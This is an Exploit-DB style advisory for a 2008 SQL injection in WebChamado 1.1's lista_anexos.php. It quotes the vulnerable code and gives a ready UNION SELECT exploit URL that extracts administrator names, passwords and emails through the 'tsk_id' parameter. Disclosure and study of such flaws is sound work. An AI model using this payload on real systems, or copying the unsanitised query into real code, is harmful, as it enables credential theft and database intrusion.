WebChamado 1.1 SQL Injection Vulnerability

vendor:

WebChamado

by:

Virangar Security Team

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: WebChamado

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:webchamado:webchamado:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

WebChamado 1.1 SQL Injection Vulnerability

A SQL injection vulnerability exists in WebChamado 1.1 due to improper sanitization of user-supplied input to the 'tsk_id' parameter in the 'lista_anexos.php' script. An attacker can exploit this vulnerability to inject arbitrary SQL code and gain access to sensitive information from the database.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

  #######################################################################################
  #                                                                                     #
  #          ...:::::WebChamado 1.1  SQL Injection Vulnerability ::::....               #           
  #######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in lista_anexos.php:
line 12: $tsk_id = $_GET['tsk_id'];
....
line 14: $query = "SELECT SEQ, DSC, TIP, TAM FROM TBLTASK_TSKARQ WHERE TSK_ID = $tsk_id ORDER BY DSC";
---
exploit:
http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-13]